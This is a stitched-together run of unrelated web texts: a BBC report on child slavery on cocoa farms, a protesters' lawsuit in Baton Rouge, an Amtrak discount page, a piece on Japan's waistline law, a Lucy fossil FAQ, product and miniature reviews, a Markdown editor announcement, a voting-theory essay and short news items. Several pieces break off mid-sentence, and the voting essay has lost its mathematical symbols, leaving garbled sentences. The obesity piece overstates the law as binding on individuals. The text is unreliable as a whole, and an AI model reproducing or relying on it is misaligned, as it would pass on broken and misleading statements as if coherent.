Most of the women stay a stalking victim for years. The longest stalking lenght in Austria amounted 54 years. 40 percent of the victims declared that stalking has a negative influence on their mind. Between 32 and 40 percent worry about disturbances of their health.
© Photographer: Keeweeboy | Dreamstime.comMali's children in chocolate slavery
By BBC's Humphrey Hawksley in Mali At a run-down police station in Sikasso, a small town in Mali, the files on missing children are endless. The sad truth is that many have been kidnapped and sold into slavery. The going price is about US$30.
I might have got out but there are thousands of children still over there. If by your report, you can help free just one, you would be doing a good job
Former child slave Malick Doumbia The local police chief is in no doubt where the children have gone. "It's definitely slavery over there," he said. "The kids have to work so hard they get sick and some even die." In all, at least 15,000 children are thought to be over in the neighbouring Ivory Coast, producing cocoa which then goes towards making almost half of the world's chocolate. Many are imprisoned on farms and beaten if they try to escape. Some are under 11 years old. Save haven Save the Children Fund has set up a transit centre in the hope that one day these children will come home from the cocoa, coffee and other farms on which they are working. But so far they haven't. The place is empty, although one who managed to escape has a message worth listening to.
Mali's Save the Children Fund director, Salia Kante, has a message for shoppers - think about what you are buying
"I might have got out," said Malick Doumbia, "but there are thousands of children still over there. If by your report, you can help free just one, you would be doing a good job." The work of this former slave ended up in shops around the world, as products that often do not specify exactly where they came from. So Mali's Save the Children Fund director, Salia Kante, has a message for shoppers too - think about what you are buying. "People who are drinking cocoa or coffee are drinking their blood," he said. "It is the blood of young children carrying 6kg of cocoa sacks so heavy that they have wounds all over their shoulders. It's really pitiful to see." Slave trade In the market, field worker Ibrahim Haidara asks people what they know about the slave trade.
One man replied: "After one year you don't get money. If you ask for your money, you don't get money and you are beaten." The slave children are taken from poor areas of Mali - the sons and daughters of street sellers, or the slum kids whose parents sell them for just a few dollars to work as plantation slaves in another country. Yet the multi-nationals who make their living out of selling chocolate and coffee all around the world haven't contributed anything to the campaign here to stop the slavery trade taking place.A prominent Black Lives Matter activist and two other protesters arrested last month while demonstrating over the shooting death of Alton Sterling by a white Baton Rouge police officer filed a federal lawsuit Thursday against several local law enforcement agency heads and the city-parish.
DeRay Mckesson, of Baltimore, Maryland, who was active in the Ferguson, Missouri, protests that followed the fatal police shooting of Michael Brown; Gloria La Riva, of San Francisco, California; and Louisianian Kira Marrero are seeking damages for what they call their "unlawful mass arrests" in Baton Rouge. They also allege officers used excessive force.
The suit, which seeks class-action status, was filed against Baton Rouge Police Chief Carl Dabadie Jr., East Baton Rouge Parish Sheriff Sid Gautreaux, Louisiana State Police Superintendent Col. Mike Edmonson, Mayor-President Kip Holden, and the city-parish.
"Defendants employed unconstitutional tactics to disturb, disrupt, infringe upon and criminalize plaintiffs and class members' constitutional rights to freedom of speech and assembly," the suit, filed in U.S. District Court in Baton Rouge, states.
The suit complains that police responded to the protesters in a "militarized and aggressive manner" and pointed their weapons directly at protesters and brandished assault weapons alongside armored vehicles.
Through State Police spokesman Maj. Doug Cain, Edmonson said he had not seen the lawsuit but added that his troopers' actions were appropriate from what he personally witnessed.
Baton Rouge police spokesman Sgt. L'Jean McKneely said the department does not comment on pending litigation and Sheriff's Office spokeswoman Casey Rayborn Hicks said the office had not seen the suit and could not comment on it.
The Baton Rouge police chief has defended the actions, saying there were credible threats against law enforcement.
East Baton Rouge Parish District Attorney Hillar Moore III announced recently that Mckesson, La Riva, and Marrero are three of roughly 100 arrested protesters who won't be prosecuted by his office on misdemeanor charges of obstructing a highway. In all, about 185 arrests were made in the days after Sterlings' death.
About 100 protesters arrested in BR won't be prosecuted, DA says More than half of the protesters arrested in the days following the shooting death of Alton …
Even so, McKesson, La Riva and Marrero, who were arrested July 9 near police headquarters along Airline Highway, say they were required to post substantial bail and pay administrative fees and court costs to obtain their releases, and in addition to incurring substantial attorneys' fees, they will have to pay money to have their arrests expunged.
The suit was assigned to U.S. District Judge John deGravelles, who also is presiding over a similar suit filed July 13 by the American Civil Liberties Union of Louisiana and local organizing groups on behalf of protesters.
Sterling, 37, was fatally shot July 5 outside the Triple S Food Mart.
The American Civil Liberties Union of Louisiana and other groups also filed a lawsuit last month over the treatment of protesters by police.What could be better than a train ride along the scenic California coast to begin your vacation?
Read a book instead of struggling with street maps. Have a meal, or take a nap. You will arrive rested and ready to begin. Many hotels offer free pick-up and drop-off service, ask when making your reservations. Be sure to check out all the great savings on hotels, activities and dining when you take the train and show your ticket. Santa Barbara lies along the West Coast Amtrak route, served by the Pacific Surfliner® and Coast Starlight® routes. The train station is conveniently located in downtown Santa Barbara, an easy walk, or 50-cents shuttle ride (free with train ticket) from many downtown attractions Additional stations are located nearby in Carpinteria and in Goleta near the airport. Also see information on commuter options for the train coming in April.
Pacific Surfliner® The Pacific Surfliner offers five trains a day coming from San Diego through Los Angeles into Santa Barbara, with two continuing to San Luis Obispo. Many are new trains boasting larger windows, at-seat audio and video, laptop outlets, reclining seats with footrests, and surfboard racks. Roll on your bike and lock it up for free if you make an advanced reservation when ordering tickets.
Amtrak Coast Starlight® The Coast Starlight train runs from Seattle, Washington through Portland, Oregon and Northern California to Santa Barbara and on to Los Angeles. On this route, you can enjoy wine tasting, gourmet meals, and on-board entertainment.
The Pacific Surfliner now offers a free transfer ticket program with the local transit service. See Free Transit Transfer Program Creates Convenient Connections for Pacific Surfliner Train Passengers. Want to take your bike on the train? For more information please see our page How to Take a Bike on Local Transit Services. Get maps and more info on How to Get Around.
Save 20% on Amtrak® Pacific Surfliner®
2019 Santa Barbara Car Free Train Discount Save 20% on the Amtrak Pacific Surfliner® from San Diego, Los Angeles, San Luis Obispo and points between to and from any stations in Santa Barbara County! Save 20% on the Amtrak Pacific Surfliner® (plus associated thruway buses, except not valid on the 7000-8999 thruway series).
(plus associated thruway buses, except not valid on the 7000-8999 thruway series). Good for travel to or from the following Santa Barbara County Stations: Carpinteria, Santa Barbara, University of California Santa Barbara, Goleta, Guadalupe, Lompoc, Surf, Solvang, Santa Maria and Buellton.
Valid for purchase through December 16, 2019 and for travel January 4, 2019-December 19, 2019
Tickets must be purchased three days in advance through a link on this website (instructions below)
Not valid for certain holiday periods (dates below)
Up to one (1) child age (2-12) may accompany each adult at half the regular full adult rail fare
Instructions for the Santa Barbara Car Free Train Discount
Select your route and dates Find the route and dates you wish to travel. Write down the schedule, but do not book yet. For schedules and information go to Amtrak’s Three day advance reservations are required and some restrictions apply. See blackout dates below. Find the route and dates you wish to travel. Write down the schedule, but do not book yet. For schedules and information go to Amtrak’s Pacific Surfliner and some restrictions apply. See blackout dates below.
Register Have your schedule and payment information ready and register below on this website at least three days before you plan to travel. Upon registration confirmation, you will be given a link to Amtrak’s website.
Purchase Follow the instructions and link provided to Amtrak’s website and purchase your ticket. You must select a qualifying route and date to be eligible for the discount. There is no promotional code for use at a later time and you may not use the discount for purchase on board the train, at any station or to purchase of a gift certificate.
Experience Use your train ticket for discounted transportation, hotels, attractions and activities. See Use your train ticket for discounted transportation, hotels, attractions and activities. See Santa Barbara Car Free Experience. Enjoy!
This offer is valid for sale through December 16, 2019 for travel between January 4, 2019 and December 19, 2019 on the Pacific Surfliner or San Joaquin and associated thruway buses (except not valid on the 7000-8999 thruway series) to or from any Amtrak station in Santa Barbara County.
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Offer is valid for 20 percent off of the best available regular adult fare, subject to availability. The discount will only be applied when the “adult” passenger type is selected. The offer may not be combined with any other discounts. Up to one (1) child age (2-12) may accompany each adult at half the regular (full, not discounted) adult rail fare. This offer is valid for coach seats; upgrade to business class accommodations are available upon full payment of accommodation charges. Once travel has begun, no changes to the itinerary are permitted. Fares, routes and schedules are subject to change without notice, other restrictions may apply.
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THIS OFFER IS EXCLUSIVELY AVAILABLE AFTER REGISTERING AT WWW.SANTABARBARACARFREE.ORG. THIS OFFER IS VALID FOR SALE BETWEEN 01JAN19- 16DEC19 AND VALID FOR TRAVEL BETWEEN 04JAN19- 19DEC19. BLACKOUTS APPLY ON THE FOLLOWING DATES: 15FEB19, 18FEB19, 19APR19, 22APR19, 24MAY19, 30AUG19, 02SEP19, 26NOV19-02DEC19. ADVANCE RESERVATIONS ARE REQUIRED A MINIMUM OF THREE (3) DAYS PRIOR TO TRAVEL. UP TO ONE (1) CHILD AGE (2-12) MAY ACCOMPANY EACH ADULT AT HALF THE REGULAR FULL ADULT RAIL FARE. THIS OFFER IS VALID FOR TRAVEL TO/FROM THE FOLLOWING SANTA BARBARA COUNTY STATIONS ONLY: CARPINTERIA, SANTA BARBARA, UNIVERSITY OF CALIFORNIA SANTA BARBARA, GOLETA, GUADALUPE, LOMPOC-SURF, SOLVANG, SANTA MARIA, AND BUELLTON. SEATING IS LIMITED; SEATS MAY NOT BE AVAILABLE ON ALL DAYS. FARES ARE SUBJECT TO AVAILABILITY. THIS OFFER IS VALID FOR TRAVEL ON THE PACIFIC SURFLINER, AND ASSOCIATED THRUWAYS; EXCEPT NOT VALID ON THE 7000-8999 THRUWAYS. THIS OFFER IS VALID FOR COACH SEATS; UPGRADE TO BUSINESS CLASS ACCOMMODATIONS ARE AVAILABLE UPON FULL PAYMENT OF ACCOMMODATION CHARGES. IN ADDITION TO THE DISCOUNT RESTRICTIONS; THIS OFFER IS ALSO SUBJECT TO ANY RESTRICTIONS, BLACKOUTS, AND REFUND RULES THAT APPLY TO THE TYPE OF FARE PURCHASED. FARES, ROUTES AND SCHEDULES ARE SUBJECT TO CHANGE WITHOUT NOTICE. ONCE TRAVEL HAS BEGUN; NO CHANGES TO THE ITINERARY ARE PERMITTED. THIS OFFER IS NOT COMBINABLE WITH ANY OTHER DISCOUNT OFFER. AMTRAK AND PACIFIC SURFLINER ARE REGISTERED SERVICE MARKS OF THE NATIONAL RAILROAD PASSENGER CORPORATION.
.In the U.S., obesity is a high-profile issue staked out by people like Michelle Obama and Jamie Oliver. But how do other countries address it, especially wealthy countries, where this problem is most rampant?
Dubai pays people to lose weight. New Zealand, where one in four adults are technically obese, bars overweight immigrants from obtaining a visa. China has used acupuncture to treat obesity for centuries.
But one country has managed to keep obesity down with the help of a controversial government policy that probably wouldn't fly in the U.S. That country is Japan, where only about 3.5% of the population is classified as obese, compared to rates as high as 30% or greater in countries like the U.S. And it's not just a generally healthier diet and lifestyle that's kept the Japanese trim.
Citizens must adhere to government-mandated waistline limits or face consequences. The government has established waistline limits for adults ages 40 to 74. Men must maintain a waistline at or below 33.5 inches; for women, the limit is 35.4 inches. The "metabo law" went into effect in 2008, with the goal of reducing the country's overweight population by 25% by 2015. The government's anti-obesity campaign aims to keep "metabolic syndrome" — a number of factors that heighten the risk of developing diabetes and vascular diseases, such as obesity and high blood pressure, glucose and cholesterol levels — in check, thus minimizing the ballooning health care costs of Japan's massive aging population.
Those who stray beyond the state-mandated waistlines are required to attend counseling and support sessions. Local governments and companies that don't meet specific targets are fined, sometimes quite heavily.
NEC, |
die?
No cause has been determined for Lucy’s death. One of the few clues we have is the conspicuous lack of postmortem carnivore and scavenger marks. Typically, animals that were killed by predators and then scavenged by other animals (such as hyaenas) will show evidence of chewing, crushing, and gnawing on the bones. The ends of long bones are often missing, and their shafts are sometimes broken (which enables the predator to get to the marrow). In contrast, the only damage we see on Lucy's bones is a single carnivore tooth puncture mark on the top of her left pubic bone. This is what is called a perimortem injury, one occurring at or around the time of death. If it occurred after she died but while the bone was still fresh, then it may not be related to her death.
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How old was she when she died?
There are several indicators which give a fair idea of her age. Her third molars (“wisdom teeth”) are erupted and slightly worn, indicating that she was fully adult. All the ends of her bones had fused and her cranial sutures had closed, indicating completed skeletal development. Her vertebrae show signs of degenerative disease, but this is not always associated with older age. All these indicators, when taken together, suggest that she was a young, but fully mature, adult when she died.
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Where is the "real" Lucy?
IHO has replicas of Lucy‘s bones, which were produced in the Institute‘s casting and molding laboratories. The “real” Lucy is stored in a specially constructed safe in the Paleoanthropology Laboratories of the National Museum of Ethiopia in Addis Ababa, Ethiopia. Because of the rare and fragile nature of many fossils, including hominids, molds are often made of the original fossils. The molds are then used to create detailed copies, called casts, which can be used for teaching, research, and exhibits.
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How old is Lucy?
The hominid-bearing sediments in the Hadar formation are divided into three members. Lucy was found in the highest of these—the Kada Hadar or KH—member. While fossils cannot be dated directly, the deposits in which they are found sometimes contain volcanic flows and ashes, which can now be dated with the 40Ar/39Ar (Argon-Argon) dating technique. Armed with these dates and bolstered by paleomagnetic, paleontological, and sedimentological studies, researchers can place fossils into a dated framework with accuracy and precision. Lucy is dated to just less than 3.18 million years old.
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How do we know that her skeleton is from a single individual?
Although several hundred fragments of hominid bone were found at the Lucy site, there was no duplication of bones. A single duplication of even the most modest of bone fragments would have disproved the single skeleton claim, but no such duplication is seen in Lucy. The bones all come from an individual of a single species, a single size, and a single developmental age. In life, she would have stood about three-and-a-half feet tall, and weighed about 60 to 65 pounds.
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Learn more
Learn more about anthropology at AskAnAnthropologist.asu.edu
To find more information about the course of human evolution, go to BecomingHuman.org
"Lucy" illustration by Michael Hagelberg.Awesome buy for what most of us use a laptop for over 90% of the time.
When CNet's Cheapskate wrote about this, I had to check it out. I was looking for a light, portable laptop for my new home-based business to replace my large laptop. Since this would be my first Chromebook, I bought it with some trepidation, but based on the overwhelming positive reviews, I felt very confident in getting this CB3-111, especially for that price! It's everything everyone said it would be: fast, light, quiet, powerful enough to do 90%+ of normal computer tasks, etc. It didn't get my full 5-star rating only because the Chromebook's first screen display stated that the OS was either missing or destroyed. After going on their help site to download a recovery disk onto my 4GB SD card, everything worked like a charm after I uploaded onto the Chromebook. Even with that, I ordered another one for my wife to replace her heavy, slow, over-heated Acer Aspire One netbook. I'll give you one guess as to what I'm using to write this review: Answer: my Acer Chromebook 11, of course!Read full reviewFor those that are new to Blood Bowl, it might come as a surprise that there is a thriving independent market for “Fantasy Football” minis from various third party companies. During the years when Games Workshop halted production, and in some cases even sent Cease and Desist letters to players who even mentioned the words Blood and Bowl on their websites, these small operations kept the Blood Bowl community up to its collective eyeballs in new minis. If you think that trend has halted… or even slowed a hair since Games Workshop has put the game back into print, you are very wrong.
The independent Blood Bowl miniature scene is still VERY much alive, and at times it seems like you cannot throw a rock without hitting an indie company starting a campaign, or pre-order for a new team. Case in point… today, Word Forge Games successfully completed their Gore Ball Ogre team crowd funding campaign, and on the same day, Star Player Miniatures started pre-orders for their new Undead and Necromantic combo team.
Star Player Miniatures is fairly new to the Fantasy Football Miniature scene, having only been around for the last couple of years, but I have first hand experience with their minis and can confirm that they are really nice. I bought their Amazon team a year or so ago, and can report that the minis are very nice. I know a few people who had a problem with how much skin the Amazon team was showing, but for a team of AV7 players, I would say that it is relatively appropriate. Besides… I am a guy and I like boobs.
Anyway, back to their new Undead and Necromantic team! Star Player Miniatures produces metal minis exclusively, so if you only like plastic and resin teams, this team may not be for you. They are also 32mm scale, which some people do not prefer, but for an all metal team, they are EXTREMELY competitively priced at only 59,00 € for a team of 16 metal minis. According to the Star Player website, this 16 miniature package includes:
2x Mummies
2x Golems
2x Wights
4x Ghouls
2x Werewolves
1x Lizardman Zombie
1x Silver Arrow (High Elf) Zombie
1x Deep One (Fish Guy… OK) Zombie
1x Marauder (Chaos Pact/Alliance) Zombie
It is worth noting that this package will not get you a full roster of either the classic Undead, or the Necromantic team, but it should allow you to have a playable roster for both teams. They do offer boosters that you can add to your pre-order so that you can fill out both rosters… with one exception. They apparently do not have any Skeletons for the classic Undead team. I have actually seen this a number of times lately. I know that Skeletons are not super popular on the Undead roster and most coaches only seem to take one or two if they take any, but an option for a Skeleton mini would have been nice.
Lets take a look at the minis by position:
The Mummies. They are reasonably imposing looking. I am curious to see how big they are physically next to other minis. For ST5 minis, the 3rd edition Mummies are woefully undersized compared to other ST5 minis, though they are the only ST5 players in the game that are not classified as Big Guys. A number of newer companies like Willy Miniatures and Vortice Miniatures have made their Mummies full Big Guy size, so it will be interesting to see if Star Player follows suit.
The Flesh Golems. Those familiar with older Games Workshop Blood Bowl minis will notice that the Flesh Golem on the right looks a LOT like the classic Frank N Stein mini from 2nd edition. I do not think that is a necessarily bad thing.
The Wights. I am not really sure how I feel about the helmets on these minis. I kind of feel like they are a little too similar to the Mummy helmets and I do not know that it was really necessary to give both positions such regal looking, pointy helmets… Honestly though, that is nitpicking more than anything.
The Ghouls. I am lukewarm about these minis, honestly. I kind of prefer the look of the classic 3rd edition Games Workshop Ghouls, personally, but these minis look good and they give a nice sense of speed which a MA7 player should have.
The Werewolves. You know, it seems surprisingly difficult to find decent looking Werewolf minis that are not nude, and work well with Blood Bowl. Now, it is not that I have a particular problem with “nude” minis, but a Werewolf with no armor or clothes makes it REALLY hard to paint it in team colors, which I do have a problem with. I do actually like these Werewolf minis, and that is a fairly rare for me.
Last, but not least, the Zombies. This is another newer trend with independent mini companies… race specific Zombies. This does make a little sense considering the Undead team rule that allows you to add a free Zombie to your roster if you kill an opposing player during a game, though I have never been too keen on the idea. I do like that their race specific Zombies are sculpted to look very much like minis from some of their other teams. They do not look like random Zombie minis, they look like Star Player Miniatures Zombies, and I do like that. Having said that, I am not really sure why they included the Deep One Zombie mini since the Deep Ones team is nowhere close to official…
Now that we have had a look at the whole team, I have to say that I like it. I cannot say that I love it, but I give it a solid B+. The team at Star Player Miniatures is nice and their communication is good in my experience. To sum up, if you are in the market for a new Undead and/or Necromantic team, and are OK with metal minis at 32mm scale, then I definitely recommend giving this team some consideration.
Let me know what you think!
AdvertisementsiA Writer 4
We’ve been hard at work producing the next major update to iA Writer, and we’re happy to announce its arrival. iA Writer 4 adds a whole new dimension to how you can work with your documents. We’re excited—and a little nervous—to unveil how this all works…
What did we all want?
We receive feature requests for iA Writer everyday. These cover a whole spectrum of what is or could be possible in the apps. We create highly focused software and analyzing the trends of user requests helps our understanding on where we need to improve. It was clear everyone wanted:
A better way to work with longer texts Full support for images
Long-Form Text Structure
We’re fully committed to the plain text format. We covered much of our thinking surrounding past, contemporary and future proof text formats in our post on multichannel text processing.
How do you structure, link, nest, and organize long form text, in plain text? There are only two ways: Either you use an existing light Markup or you create one. We figured simply adding file names could do the trick. This would let us move blocks of content around without losing the benefit of the raw format. The established method of transclusion seemed to be the way forward, but every implementation we could find relied on cryptic characters:
{{filе}} <<[filе] (filе:)
While considering the best syntax to use, we came across a comment from John Gruber. He remarked image syntax was his biggest mistake with Markdown, and mentioned an alternative:
My best idea for good Markdown img syntax would be to just paste in a URL ending in.jpg/.png/.gif etc.
We liked the idea.
Images in Plain Text
To add an image in iA Writer 4, write the path on an empty line:
For image captions, use quotes or parenthesis:
The format works just as well for other file types…
Tables
Markdown tables are painful to write manually. On the other hand, spreadsheet editors like Numbers or Excel make it easy to create tables with complex formulas. A long-time standard for exporting these tables is the comma separated value format (csv). You can compose a table in Excel, and then have all the calculations exported in a plain text csv. And now you can reference a csv file in iA Writer the same as way as images:
Using the first prototype simulating said behavior, we knew this was the way forward. It’s hard to describe how transclusion feels other than it just feels right. Beginning with a simple, straightforward syntax kept reaping dividends.
Text in Text in Text…
Before all this, for quite some time, we had been independently developing a concept that we called inception. We joked about it internally, as it reminded us of a popular Internet meme.
Much later we discovered that it already had a name: transclusion. Transclusion was first described by Ted Nelson, the father of Hypertext. Put simply, transclusion is a way of directly embedding text in text without redundancy.
“…transclusion means that part of a document may be in several places—in other documents besides the original—without actually being copied there.”
With this newly discovered concept in hand, we slowly realized its potential beyond simple embedding.
It’s possible to embed pictures, tables and text. Nesting and embedding text doesn’t stop at a single level.
A book can be built from chapters
A chapter can also be built from several sections
Sections can be built around text snippets consisting of single quotes
The same quotes can be reused throughout the same text body
Repeat this process of text inception as long as your sanity holds.
Content Blocks
We’ve made a swath of improvements in iA Writer 4. The meat on the bone is this new file referencing syntax. Every file reference you insert adds a block of content to your document, be it an image, table, or plain text file. These content blocks can then be ordered, stacked and chained with ease.
We think this syntax is a natural extension to Markdown, and it would please us to see other apps use it too. We’re a bit nervous since it’s a deviation, but we’d still like to try it out and hope it finds friends. We’ve published an introductory spec on GitHub to get the ball rolling. Hopefully, content blocks based on file transclusion will become a thing beyond iA Writer. One day all Markdown editors may work like that, but, as IBM famously said, why wait?By “voting”, I mean the following general problem: Suppose there are candidates and voters. Each voter produces a total ordering of all candidates. A voting procedure is a function which takes as input all orderings, and produces an output ranking of all candidates. Arrow’s impossibility theorem states that there is really no satisfactory voting procedure when the number of candidates is greater than 2 (majority rule is a good voting procedure when there are two candidates).
Observation #1 (which I read in Chapter 23 of David Easley and Jon Kleinberg’s book Networks, Crowds, and Markets): Voters will vote strategically (i.e., they will lie) even when they have a common goal.
In the setup above where each voter has a set of personal preferences and voters are essentially competing with other voters who have different preferences, it is easy to come up with situations where it would be advantageous for a voter to lie. For example, if a voter’s true rankings are where,, and are candidates, but has a much better chance of winning than does, it may be advantageous for the voter to submit a ranking of if she wants to maximize the chance that comes out on top.
However, in a situation where every voter has the same goals, but they have different private information (and it’s impossible or infeasible for them to share their private information with each other), it seems like there’s never a reason for a voter to lie. But there is, even when there are only two alternatives that are being voted on.
Consider the following game: There is a vase filled with marbles. Either it has 10 white marbles (call this state ) or 5 white marbles and 5 green marbles (call this state ). Which of state or state holds was determined by flipping a fair coin before the game started (and this fact is common knowledge). Each of three voters independently and without communication draws one marble at random from the vase, observes its color, puts it back, and then votes on whether or not or holds. The voters win if a majority guesses right and lose otherwise.
As you can work out: if you draw a white marble, you believe state holds with probability and holds with probability. If you draw a green marble, you believe state holds with probability and holds with probability (you are sure that state holds).
However, voters will not vote their true beliefs: Suppose they did, and consider whether a fixed voter has an incentive to deviate from this strategy (i.e., consider whether all voters voting their true beliefs is a Nash equilibrium). When you draw a green marble, you should definitely vote for state. But what should you do when you draw a white marble? The key question is: when will your vote make a difference? Only when one other voter votes and the other voter votes. But because they are voting sincerely, the voter who voted must have drawn a green marble and, therefore she must be right! So, you should vote as well. That is, if you think that the other two voters are voting sincerely, you should disregard the information you get from observing a marble, and always vote!
In the Easley-Kleinberg chapter, the authors also demonstrate a version of this with juries, where the vote must be unanimous to convict a defendant, and otherwise she will be acquitted. A similar situation happens: assume that you are thinking of voting to acquit. Under what circumstances will your vote make a difference? Only when every other juror has voted to convict. In that circumstance, it is quite likely that you are wrong, and the defendant was guilty, and thus you should have voted to convict no matter what! (This shows that everyone voting sincerely is not an equilibrium but doesn’t show what the equilibria of this game are. According to the authors, finding the equilibria is quite difficult.)
Observation #2 (which I saw in a paper by Roger Sewell, David Mackay, and Ian McLean): Maximizing the Entropy of the Outcome of Voting Leads to Good Results
As I alluded to above, Arrow’s impossibility theorem says that there’s no satisfactory way to provide an output ranking of candidates given the input rankings from each voter (here we will assume that we simply know each voter’s true ranking and not consider strategic voting). However, this just applies to deterministic voting procedures: it is, in fact, quite easy to come up with a probabilistic voting procedure satisfying all of the hypotheses of Arrow’s impossibility theorem: just pick a voter uniformly at random and take their preferences to be the output ranking!
Aside from the fact that it seems unlikely that the general public would accept such explicit randomization in the voting procedure any time soon, this process (which is called Random Dictator) has a couple of other negative aspects. First of all, it can easily lead to extreme outcomes: Suppose that there are 20 candidates, and the top 10 in the output ranking will be given various positions in the government. Suppose 10 candidates are from one political party, and 10 are from the other, and further that the populace is highly polarized: everyone ranks their party’s 10 candidates strictly better than each of the 10 candidates of the other party. Then it is guaranteed that a single-party government will be the result. What might be better is 10 officials chosen from a mix of the two parties according to each party’s representation in the voting public.
Another way in which Random Dictator doesn’t compromise very well is the following: Suppose there is heavy contention between candidates from the top rank among voters, but there is a candidate that is everyone’s second choice. Then under Random Dictator there is zero chance that will be top-ranked in the output-ranking, even though it intuitively seems that is more generally liked by the population than any of.
The authors of the paper fix these problems by proposing the following procedure: For each pair of candidates and, record the proportion of the voting population which prefers to. Now, from all probability distributions over output rankings such that, for each pair of candidates,, the probability of being ranked higher than in the output ranking is, choose the one that has maximum entropy. Then choose an output ranking according to that distribution.
I won’t define maximum entropy here, but I will give a few examples. The idea that there is a number called the entropy associated with every probability distribution, and furthermore that if you are looking for a probability distribution in a certain class, but don’t know anything about it except that it is in that class, then the “right” distribution to take is the one that maximizes the entropy (obviously this is an unprovable assertion). In some sense, choosing the maximum entropy distribution from a class codifies the fact that you know nothing about it except that it is in that class.
For example, the maximum entropy probability distribution over the set is the uniform distribution, which assigns probability to each number. Fixing a and, the maximum entropy probability distribution in the set of probability distributions over with mean and variance is a Gaussian distribution. Fixing, the maximum entropy distribution over the positive reals with mean is the exponential distribution with mean.
Basically, what the authors have proposed is that the actual total ranking of each voter are not important (or else we would have the first problem mentioned above), and in particular which candidate each voter happened to place in the top rank is not important (or else we would have the second problem mentioned above); the only thing that’s really important is getting the correct proportions of the pairwise rankings right. And the way to get a distribution on output rankings which reflects nothing except for the constraints on the pairwise rankings is to pick the maximum entropy distribution satisfying those constraints.
The beauty of this is that if you disagree with them, that’s fine: all you have to do is figure out what you think is the important information to preserve from the voters’ rankings, then pick the output distribution which maximizes entropy among those satisfying those rankings, and that will be the “right” output for your choice of what’s important, in the sense that it will not “take into account” anything that you don’t think is important. To take a trivial example, if you decide that the total ranking of each voter is important, then the maximum entropy distribution on output rankings will degenerate into the Random Dictator process.
The authors additionally ran simulations of elections using various voting procedures in order to verify that the maximum entropy voting scheme they propose is “better” (in some senses they define) than others.Several people have been injured following initial reports of an explosion and fire at the French capital’s Place d’Italie metro station. Police have attributed the incident to a technical failure.
French journalist Remy Buisine from Brut reported on Twitter that eight people have been injured as result of the incident, with some of them suffering from smoke inhalation.
Police and fire vehicles have been seen outside the station.
Commenting on the incident, Paris police dismissed earlier reports that a blast had preceded the release of smoke.
"No explosion. This was not a [terrorist] attack," the police spokesman said, as cited by Reuters.
He added that two people have received minor injuries as result of smoke inhalation.
Incendie au metro Place d'Italie
- Origine accidentelle
- Feu maîtrisé
- 8 personnes touchées dont plusieurs pour intoxications. pic.twitter.com/B9hS4VTkpc — Remy Buisine (@RemyBuisine) February 8, 2017
Metro operator RATP confirmed that services between Bastille and Place d’Italie stations were disrupted due to “a technical incident on line 6” that led to a temporary closure of part of the line.
21:30, le trafic est interrompu entre Bastille et Place d'Italie (dégagement de fumée) #RATP#Ligne5 — Ligne 5 RATP (@Ligne5_RATP) February 8, 2017
The Paris metro tweeted that the line has since resumed normal operation, and that the incident is over.Share. But it was removed as it was too draining on system resources. But it was removed as it was too draining on system resources.
Exit Theatre Mode
Metal Gear Solid V: The Phantom Pain was developed with an 80's movie filter in place, though it had to be removed.
The news comes courtesy of MGS creator Hideo Kojima on Twitter, where he revealed the move was similar to the one used in the film Rush. As the game is set in 1984, he thought it would help contextualise the game, but it ended up being too technically demanding.
"RUSH" had very 70's texture & tone of film. In fact we studied 80's image & developed "80's filter" for MGSV as TPP is placed in 1984. CONT — HIDEO_KOJIMA (@HIDEO_KOJIMA_EN) February 11, 2014
(CONT) But when we actually implemented full screen effect, it was too heavy that slowed the system down so we had to take it out. — HIDEO_KOJIMA (@HIDEO_KOJIMA_EN) February 11, 2014
Kojima recently come under fire for claiming that you'll be able to complete Metal Gear Solid: Ground Zeroes in a couple of hours if you try, though Phantom Pain is meant to be significantly longer.
Ground Zeroes is essentially the prologue to Metal Gear Solid V: The Phantom Pain. The full version of Metal Gear Solid V being split into two games has been explained by Kojima as being a result of the release of PlayStation 4.
While the release date for Ground Zeroes was recently announced, Kojima has warned fans against expecting Phantom Pain any time soon, as there's apparently still a good deal of work that needs to be done.
Luke Karmali is IGN's UK Junior Editor. You too can revel in mediocrity by following him on IGN and on Twitter.by Bill Pearis
Gulp, the Welsh band featuring Super Furry Animals bassist Guto Pryce and Lindsey Leven (drums/vocals), have been working on their debut LP. That record, Season Sun, will be out next week (7/8) via Everloving. If you enjoy your krauty psychedelia with baroque and Brazilian touches (perhaps the most delicious variety), it’s time to sit up straight and dig into this LP. We’re premiering the album stream in this post. Have a listen, and check out the video for single “Vast Space” below.
Gulp, who are now a quartet, were over for SXSW but didn’t play outside of Texas. Still no word on North American dates but we can hope. They do have a couple Welsh dates this month and those are listed below. SFA main man Gruff Rhys, meanwhile, will be over this fall for sure. In the meantiime, stream the Gulp album and video below…
—
Vast Space by Gulp
Gulp – 2014 Tour Dates
Jul 11 Pen y Berth Pwllheli, United Kingdom
Jul 16 Clwb Ifor Bach Cardiff, United KingdomOver the last week, Game of Thrones has been shooting at Diocletian’s Palace in Split, Croatia. After recent flooding in the area, there had been worries that filming would be affected, perhaps halted altogether.
Luckily, despite a volume of 38 liters of flood water per square meter, filming was able to proceed as planned both yesterday and today. Many fans were happy to report the news on Twitter.
Game of Thrones is filming here and khaleesi might be here help — Kayla Kuzniewski (@thatshtKAY) September 12, 2014
Filming Game of thrones in split again! Absolutely packed — Jon kasami kendall (@Jonterrykendall) September 12, 2014
ran into the filming of Game of Thrones in the –Palais De Diocletien– — Julianna Haug (@JuliannaHaug) September 12, 2014
Walked by the Games of Thrones cast trailers. They’re currently filming here. ☺️ — Tonio The Thickum™ ♕ (@_JayAntonio) September 12, 2014
walking through split, and they’re filming game of thrones — Roisín Moss (@roisinefmoss) September 12, 2014
In cast news, we’ve heard from our sources in Belfast that Hafthor Bjornsson was in town earlier this week for a day or two. It’s unknown whether he was filming or doing a costume fitting or rehearsals.
His character, Gregor Clegane aka The Mountain, was last seen in season four in very poor shape, in the care of Qyburn the disgraced maester.SAN FRANCISCO (CBS SF) — A gay man says he was bruised and beaten after being targeted during Super Bowl weekend ‘for wearing white pants.’
Jeffery Lafayette of San Francisco described the attack to KPIX 5’s Mike Sugerman. One of his eyes is still swollen and there are bruises and cuts on his face and hands.
“I looked around. A group of guys started calling me girly. They called me faggot. They started approaching me,” Lafayette said.
He got off the phone, talking to his mom back home, sensing trouble was coming.
“They started spitting on me, and punching me, and I couldn’t even take it. I couldn’t take it, all the hits they were giving me. So I fell, and I craddled my face, in the fetal position,” Lafayette said.
He doesn’t know how long the attack lasted, saying it seemed like forever until he was rescued by a friend.
“My coworker came out to look for me, and through legs, I saw my coworker, and he started running, and swinging, and he broke all of them up. He’s six three and pretty nimble,” Lafayette said.
